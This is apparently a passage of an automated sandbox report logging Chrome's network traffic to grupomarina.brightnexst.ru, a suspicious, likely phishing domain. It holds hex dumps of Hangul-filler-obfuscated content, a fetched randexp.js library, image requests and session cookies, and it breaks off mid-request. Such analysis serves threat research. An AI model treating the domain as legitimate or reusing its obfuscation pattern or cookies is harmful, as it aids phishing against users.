2025-03-17 20:55:14 UTC	1369	IN	Data Raw: a4 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be Data Ascii:
2025-03-17 20:55:14 UTC	1369	IN	Data Raw: e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 Data Ascii:
2025-03-17 20:55:14 UTC	1369	IN	Data Raw: 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 ef Data Ascii:
2025-03-17 20:55:14 UTC	1369	IN	Data Raw: a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be Data Ascii:
2025-03-17 20:55:14 UTC	1369	IN	Data Raw: e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.16	49749	185.199.110.133	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:14 UTC	1139	OUT	GET /github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250317%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250317T205513Z&X-Amz-Expires=300&X-Amz-Signature=e616e7388ad102e9cb0d3ae02f97cd7c71b53bb553c2889c097375ffd2fede86&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream HTTP/1.1 Host: objects.githubusercontent.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://grupomarina.brightnexst.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 20:55:14 UTC	849	IN	HTTP/1.1 200 OK Connection: close Content-Length: 10245 Content-Type: application/octet-stream Last-Modified: Tue, 07 Dec 2021 16:38:45 GMT ETag: "0x8D9B9A009499A1E" Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: d91f6eaf-e01e-0032-2f18-13e122000000 x-ms-version: 2023-11-03 x-ms-creation-time: Tue, 17 Aug 2021 14:57:31 GMT x-ms-blob-content-md5: bCCivoupALwKcRiJOisQcg== x-ms-lease-status: unlocked x-ms-lease-state: available x-ms-blob-type: BlockBlob Content-Disposition: attachment; filename=randexp.min.js x-ms-server-encrypted: true Via: 1.1 varnish, 1.1 varnish Fastly-Restarts: 1 Accept-Ranges: bytes Date: Mon, 17 Mar 2025 20:55:14 GMT Age: 3265 X-Served-By: cache-iad-kiad7000045-IAD, cache-ewr-kewr1740061-EWR X-Cache: HIT, HIT X-Cache-Hits: 35879, 1 X-Timer: S1742244915.573693,VS0,VE1
2025-03-17 20:55:14 UTC	1378	IN	Data Raw: 2f 2f 0a 2f 2f 20 72 61 6e 64 65 78 70 20 76 30 2e 34 2e 33 0a 2f 2f 20 43 72 65 61 74 65 20 72 61 6e 64 6f 6d 20 73 74 72 69 6e 67 73 20 74 68 61 74 20 6d 61 74 63 68 20 61 20 67 69 76 65 6e 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 2e 0a 2f 2f 0a 2f 2f 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 32 30 31 36 20 62 79 20 52 6f 6c 79 20 46 65 6e 74 61 6e 65 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 66 65 6e 74 29 0a 2f 2f 20 4d 49 54 20 4c 69 63 65 6e 73 65 0a 2f 2f 20 68 74 74 70 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 66 65 6e 74 2f 72 61 6e 64 65 78 70 2e 6a 73 2f 72 61 77 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 20 0a 2f 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 22 52 61 6e 64 45 78 70 22 Data Ascii: //// randexp v0.4.3// Create random strings that match a given regular expression.//// Copyright (C) 2016 by Roly Fentanes (https://github.com/fent)// MIT License// http://github.com/fent/randexp.js/raw/master/LICENSE //!function(){var e="RandExp"
2025-03-17 20:55:14 UTC	1378	IN	Data Raw: 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 74 2e 72 61 6e 64 49 6e 74 26 26 28 65 2e 72 61 6e 64 49 6e 74 3d 74 2e 72 61 6e 64 49 6e 74 29 7d 66 75 6e 63 74 69 6f 6e 20 75 28 65 2c 74 29 7b 76 61 72 20 6e 2c 69 2c 70 2c 68 2c 63 3b 73 77 69 74 63 68 28 65 2e 74 79 70 65 29 7b 63 61 73 65 20 6c 2e 52 4f 4f 54 3a 63 61 73 65 20 6c 2e 47 52 4f 55 50 3a 69 66 28 65 2e 66 6f 6c 6c 6f 77 65 64 42 79 7c 7c 65 2e 6e 6f 74 46 6f 6c 6c 6f 77 65 64 42 79 29 72 65 74 75 72 6e 22 22 3b 66 6f 72 28 65 2e 72 65 6d 65 6d 62 65 72 26 26 76 6f 69 64 20 30 3d 3d 3d 65 2e 67 72 6f 75 70 4e 75 6d 62 65 72 26 26 28 65 2e 67 72 6f 75 70 4e 75 6d 62 65 72 3d 74 2e 70 75 73 68 28 6e 75 6c 6c 29 2d 31 29 2c 6e 3d 65 2e 6f 70 74 69 6f 6e 73 3f 61 2e 63 61 6c 6c Data Ascii: ),"function"==typeof t.randInt&&(e.randInt=t.randInt)}function u(e,t){var n,i,p,h,c;switch(e.type){case l.ROOT:case l.GROUP:if(e.followedBy\|\|e.notFollowedBy)return"";for(e.remember&&void 0===e.groupNumber&&(e.groupNumber=t.push(null)-1),n=e.options?a.call
2025-03-17 20:55:14 UTC	1378	IN	Data Raw: 65 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 2e 72 61 6e 64 65 78 70 28 74 68 69 73 29 7d 7d 2c 63 2e 70 72 6f 74 6f 74 79 70 65 2e 64 65 66 61 75 6c 74 52 61 6e 67 65 3d 6e 65 77 20 68 28 33 32 2c 31 32 36 29 2c 63 2e 70 72 6f 74 6f 74 79 70 65 2e 72 61 6e 64 49 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 65 2b 4d 61 74 68 2e 66 6c 6f 6f 72 28 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2a 28 31 2b 74 2d 65 29 29 7d 7d 2c 7b 22 64 69 73 63 6f 6e 74 69 6e 75 6f 75 73 2d 72 61 6e 67 65 22 3a 32 2c 72 65 74 3a 33 7d 5d 2c 32 3a 5b 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 66 75 6e 63 74 69 6f 6e 20 72 28 65 2c 74 29 7b 74 68 69 73 2e 6c 6f 77 3d 65 2c 74 68 69 73 2e 68 69 67 68 3d 74 2c 74 68 69 73 2e 6c 65 Data Ascii: en=function(){return c.randexp(this)}},c.prototype.defaultRange=new h(32,126),c.prototype.randInt=function(e,t){return e+Math.floor(Math.random()*(1+t-e))}},{"discontinuous-range":2,ret:3}],2:[function(e,t,n){function r(e,t){this.low=e,this.high=t,this.le
2025-03-17 20:55:14 UTC	1378	IN	Data Raw: 2e 6c 65 6e 67 74 68 3b 29 74 2e 70 75 73 68 28 73 2e 72 61 6e 67 65 73 5b 6e 5d 2e 63 6c 6f 6e 65 28 29 29 2c 6e 2b 2b 3b 73 2e 72 61 6e 67 65 73 3d 74 2c 61 28 73 29 7d 76 61 72 20 73 3d 74 68 69 73 3b 72 65 74 75 72 6e 20 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 6f 3f 65 2e 72 61 6e 67 65 73 2e 66 6f 72 45 61 63 68 28 6e 29 3a 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 72 3f 6e 28 65 29 3a 28 76 6f 69 64 20 30 3d 3d 3d 74 26 26 28 74 3d 65 29 2c 6e 28 6e 65 77 20 72 28 65 2c 74 29 29 29 2c 74 68 69 73 7d 2c 6f 2e 70 72 6f 74 6f 74 79 70 65 2e 73 75 62 74 72 61 63 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 6e 3d 30 3b 6e 3c 73 2e 72 61 6e 67 65 73 2e 6c 65 6e 67 74 68 26 26 Data Ascii: .length;)t.push(s.ranges[n].clone()),n++;s.ranges=t,a(s)}var s=this;return e instanceof o?e.ranges.forEach(n):e instanceof r?n(e):(void 0===t&&(t=e),n(new r(e,t))),this},o.prototype.subtract=function(e,t){function n(e){for(var t=[],n=0;n<s.ranges.length&&
2025-03-17 20:55:14 UTC	1378	IN	Data Raw: 29 3b 62 72 65 61 6b 3b 63 61 73 65 22 44 22 3a 68 2e 70 75 73 68 28 61 2e 6e 6f 74 49 6e 74 73 28 29 29 3b 62 72 65 61 6b 3b 63 61 73 65 22 73 22 3a 68 2e 70 75 73 68 28 61 2e 77 68 69 74 65 73 70 61 63 65 28 29 29 3b 62 72 65 61 6b 3b 63 61 73 65 22 53 22 3a 68 2e 70 75 73 68 28 61 2e 6e 6f 74 57 68 69 74 65 73 70 61 63 65 28 29 29 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 2f 5c 64 2f 2e 74 65 73 74 28 6e 29 3f 68 2e 70 75 73 68 28 7b 74 79 70 65 3a 6f 2e 52 45 46 45 52 45 4e 43 45 2c 76 61 6c 75 65 3a 70 61 72 73 65 49 6e 74 28 6e 2c 31 30 29 7d 29 3a 68 2e 70 75 73 68 28 7b 74 79 70 65 3a 6f 2e 43 48 41 52 2c 76 61 6c 75 65 3a 6e 2e 63 68 61 72 43 6f 64 65 41 74 28 30 29 7d 29 7d 62 72 65 61 6b 3b 63 61 73 65 22 5e 22 3a 68 2e 70 75 73 68 28 73 2e Data Ascii: );break;case"D":h.push(a.notInts());break;case"s":h.push(a.whitespace());break;case"S":h.push(a.notWhitespace());break;default:/\d/.test(n)?h.push({type:o.REFERENCE,value:parseInt(n,10)}):h.push({type:o.CHAR,value:n.charCodeAt(0)})}break;case"^":h.push(s.
2025-03-17 20:55:14 UTC	1378	IN	Data Raw: 68 26 26 63 28 69 29 2c 68 2e 70 75 73 68 28 7b 74 79 70 65 3a 6f 2e 52 45 50 45 54 49 54 49 4f 4e 2c 6d 69 6e 3a 30 2c 6d 61 78 3a 31 2f 30 2c 76 61 6c 75 65 3a 68 2e 70 6f 70 28 29 7d 29 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 68 2e 70 75 73 68 28 7b 74 79 70 65 3a 6f 2e 43 48 41 52 2c 76 61 6c 75 65 3a 6e 2e 63 68 61 72 43 6f 64 65 41 74 28 30 29 7d 29 7d 72 65 74 75 72 6e 20 30 21 3d 3d 6c 2e 6c 65 6e 67 74 68 26 26 72 2e 65 72 72 6f 72 28 65 2c 22 55 6e 74 65 72 6d 69 6e 61 74 65 64 20 67 72 6f 75 70 22 29 2c 75 7d 2c 74 2e 65 78 70 6f 72 74 73 2e 74 79 70 65 73 3d 6f 7d 2c 7b 22 2e 2f 70 6f 73 69 74 69 6f 6e 73 22 3a 34 2c 22 2e 2f 73 65 74 73 22 3a 35 2c 22 2e 2f 74 79 70 65 73 22 3a 36 2c 22 2e 2f 75 74 69 6c 22 3a 37 7d 5d 2c 34 3a 5b 66 75 Data Ascii: h&&c(i),h.push({type:o.REPETITION,min:0,max:1/0,value:h.pop()});break;default:h.push({type:o.CHAR,value:n.charCodeAt(0)})}return 0!==l.length&&r.error(e,"Unterminated group"),u},t.exports.types=o},{"./positions":4,"./sets":5,"./types":6,"./util":7}],4:[fu
2025-03-17 20:55:14 UTC	1378	IN	Data Raw: 72 2e 43 48 41 52 2c 76 61 6c 75 65 3a 36 35 32 37 39 7d 5d 7d 2c 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 5b 7b 74 79 70 65 3a 72 2e 43 48 41 52 2c 76 61 6c 75 65 3a 31 30 7d 2c 7b 74 79 70 65 3a 72 2e 43 48 41 52 2c 76 61 6c 75 65 3a 31 33 7d 2c 7b 74 79 70 65 3a 72 2e 43 48 41 52 2c 76 61 6c 75 65 3a 38 32 33 32 7d 2c 7b 74 79 70 65 3a 72 2e 43 48 41 52 2c 76 61 6c 75 65 3a 38 32 33 33 7d 5d 7d 3b 6e 2e 77 6f 72 64 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 7b 74 79 70 65 3a 72 2e 53 45 54 2c 73 65 74 3a 61 28 29 2c 6e 6f 74 3a 21 31 7d 7d 2c 6e 2e 6e 6f 74 57 6f 72 64 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 7b 74 79 70 65 3a 72 2e 53 45 54 2c 73 65 74 3a 61 28 29 2c 6e 6f 74 3a 21 30 7d 7d 2c 6e 2e 69 6e Data Ascii: r.CHAR,value:65279}]},i=function(){return[{type:r.CHAR,value:10},{type:r.CHAR,value:13},{type:r.CHAR,value:8232},{type:r.CHAR,value:8233}]};n.words=function(){return{type:r.SET,set:a(),not:!1}},n.notWords=function(){return{type:r.SET,set:a(),not:!0}},n.in
2025-03-17 20:55:14 UTC	599	IN	Data Raw: 68 69 74 65 73 70 61 63 65 28 29 29 3b 65 6c 73 65 20 69 66 28 61 5b 34 5d 29 69 2e 70 75 73 68 28 6f 2e 6e 6f 74 57 6f 72 64 73 28 29 29 3b 65 6c 73 65 20 69 66 28 61 5b 35 5d 29 69 2e 70 75 73 68 28 6f 2e 6e 6f 74 49 6e 74 73 28 29 29 3b 65 6c 73 65 20 69 66 28 61 5b 36 5d 29 69 2e 70 75 73 68 28 6f 2e 6e 6f 74 57 68 69 74 65 73 70 61 63 65 28 29 29 3b 65 6c 73 65 20 69 66 28 61 5b 37 5d 29 69 2e 70 75 73 68 28 7b 74 79 70 65 3a 72 2e 52 41 4e 47 45 2c 66 72 6f 6d 3a 28 61 5b 38 5d 7c 7c 61 5b 39 5d 29 2e 63 68 61 72 43 6f 64 65 41 74 28 30 29 2c 74 6f 3a 61 5b 31 30 5d 2e 63 68 61 72 43 6f 64 65 41 74 28 30 29 7d 29 3b 65 6c 73 65 7b 69 66 28 21 28 73 3d 61 5b 31 32 5d 29 29 72 65 74 75 72 6e 5b 69 2c 75 2e 6c 61 73 74 49 6e 64 65 78 5d 3b 69 2e 70 75 Data Ascii: hitespace());else if(a[4])i.push(o.notWords());else if(a[5])i.push(o.notInts());else if(a[6])i.push(o.notWhitespace());else if(a[7])i.push({type:r.RANGE,from:(a[8]\|\|a[9]).charCodeAt(0),to:a[10].charCodeAt(0)});else{if(!(s=a[12]))return[i,u.lastIndex];i.pu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.16	49750	104.21.41.104	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:15 UTC	1463	OUT	GET /ijdastoNQHS8csTUxKMnYfLnTzCP891YpfDmPmdwyPnQeykuaxbSULSItkm2fyz222 HTTP/1.1 Host: grupomarina.brightnexst.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPW Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjI4b0N4cTAvWllwVzAxWEVkaEpCQnc9PSIsInZhbHVlIjoiUDJGTmVSazA1d1Y2U2NOZzJZZlNDSkZtSTNjRUZmQiszc0FzdHpkUXE4Z2RrK3RjN0FnOUhGa0tKVlllM0ZXYytmaC8zajFZeFlsMUFSSXFuaElPQ3psTWVUcDc5QVlxMUdhanpqRW9KT1Uwa1dBUUFXcHFsYjZnaWVLU3JnK1kiLCJtYWMiOiJiZjViMTUxNTdmN2U1N2QwNDgwZmIxMWFmZGM3N2Q1MjU3M2ExYzZmY2ZkN2JmNGM0YzU0MTZiNDM0MTVmZWQ0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5IMCthcU5iZ2I3SExSdzJoNFJUU3c9PSIsInZhbHVlIjoiN2VqZmVNQm9zbDhJenZIanphOEltNzEvaW9VcytsMXEyQmFLWnpzV0hUeU1ZM0MwMUFScFJlZXRveXp0TzdtdGJKK3Rrc2J1S2xWWWJxT3poUVpwTjVtMDhQbjU4WFRJZG9vRWpUQ3EyUjFwZU0ybFI5YUZwMmk5Y05oVHRyTWgiLCJtYWMiOiI3YjMzMmQ3ZmRkOWE4ZjE2N2EyZTcxMDRiMjRkNTAwNzMxNDcwNDMwYTIwZmViZmY0NjU2OGM0Zjc3ZmZhOGQxIiwidGFnIjoiIn0%3D
2025-03-17 20:55:15 UTC	1079	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 20:55:15 GMT Content-Type: image/webp Content-Length: 1298 Connection: close Content-Disposition: inline; filename="ijdastoNQHS8csTUxKMnYfLnTzCP891YpfDmPmdwyPnQeykuaxbSULSItkm2fyz222" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fXN7%2F6nnfUEyfqsclZD4DgNjGkLLqoHJozGM%2F8cXoZ8VZSUwu1gATTbxNNwQnqglrNQ2uNTjpFxeGPrOLaZfP6HbnRbpgDAHhaO30kMFoPtq0Or0WKYr%2F1l9tvwM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=1196&min_rtt=1127&rtt_var=561&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2374&delivery_rate=1723809&cwnd=251&unsent_bytes=0&cid=089e17db77a12cf9&ts=84&x=0" Server: cloudflare CF-RAY: 921f63e01a5e5e79-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1659&min_rtt=1650&rtt_var=638&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2834&recv_bytes=2035&delivery_rate=1690793&cwnd=205&unsent_bytes=0&cid=d21752609337e960&ts=362&x=0"
2025-03-17 20:55:15 UTC	290	IN	Data Raw: 52 49 46 46 0a 05 00 00 57 45 42 50 56 50 38 58 0a 00 00 00 30 00 00 00 6b 00 00 17 00 00 49 43 43 50 c8 01 00 00 00 00 01 c8 00 00 00 00 04 30 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 e0 00 01 00 01 00 00 00 00 00 00 61 63 73 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 f6 d6 00 01 00 00 00 00 d3 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 09 64 65 73 63 00 00 00 f0 00 00 00 24 72 58 59 5a 00 00 01 14 00 00 00 14 67 58 59 5a 00 00 01 28 00 00 00 14 62 58 59 5a 00 00 01 3c 00 00 00 14 77 74 70 74 00 00 01 50 00 00 00 14 72 54 52 43 00 00 01 64 00 00 00 28 67 54 52 43 00 00 01 64 00 00 00 28 62 Data Ascii: RIFFWEBPVP8X0kICCP0mntrRGB XYZ acsp-desc$rXYZgXYZ(bXYZ<wtptPrTRCd(gTRCd(b
2025-03-17 20:55:15 UTC	1008	IN	Data Raw: 00 00 00 0c 65 6e 55 53 00 00 00 08 00 00 00 1c 00 73 00 52 00 47 00 42 58 59 5a 20 00 00 00 00 00 00 6f a2 00 00 38 f5 00 00 03 90 58 59 5a 20 00 00 00 00 00 00 62 99 00 00 b7 85 00 00 18 da 58 59 5a 20 00 00 00 00 00 00 24 a0 00 00 0f 84 00 00 b6 cf 58 59 5a 20 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 70 61 72 61 00 00 00 00 00 04 00 00 00 02 66 66 00 00 f2 a7 00 00 0d 59 00 00 13 d0 00 00 0a 5b 00 00 00 00 00 00 00 00 6d 6c 75 63 00 00 00 00 00 00 00 01 00 00 00 0c 65 6e 55 53 00 00 00 20 00 00 00 1c 00 47 00 6f 00 6f 00 67 00 6c 00 65 00 20 00 49 00 6e 00 63 00 2e 00 20 00 32 00 30 00 31 00 36 41 4c 50 48 58 02 00 00 0d a0 5c 6d 7b dc b6 7a b3 f4 ca ff 89 b7 19 d0 01 ff 54 20 b8 02 51 15 90 aa 80 52 05 8c 2a 90 58 81 c9 0a 0c 55 60 a8 82 40 1d Data Ascii: enUSsRGBXYZ o8XYZ bXYZ $XYZ -paraffY[mlucenUS Google Inc. 2016ALPHX\m{zT QR*XU`@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.16	49751	104.21.41.104	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:15 UTC	1460	OUT	GET /mn7axJgNsfJZOnXe9HMLiMbkijOyTcCkXpGKdJddrqJTO29kXFFoLgmgRouv220 HTTP/1.1 Host: grupomarina.brightnexst.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPW Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjI4b0N4cTAvWllwVzAxWEVkaEpCQnc9PSIsInZhbHVlIjoiUDJGTmVSazA1d1Y2U2NOZzJZZlNDSkZtSTNjRUZmQiszc0FzdHpkUXE4Z2RrK3RjN0FnOUhGa0tKVlllM0ZXYytmaC8zajFZeFlsMUFSSXFuaElPQ3psTWVUcDc5QVlxMUdhanpqRW9KT1Uwa1dBUUFXcHFsYjZnaWVLU3JnK1kiLCJtYWMiOiJiZjViMTUxNTdmN2U1N2QwNDgwZmIxMWFmZGM3N2Q1MjU3M2ExYzZmY2ZkN2JmNGM0YzU0MTZiNDM0MTVmZWQ0IiwidGFnIjoiIn0%3D; 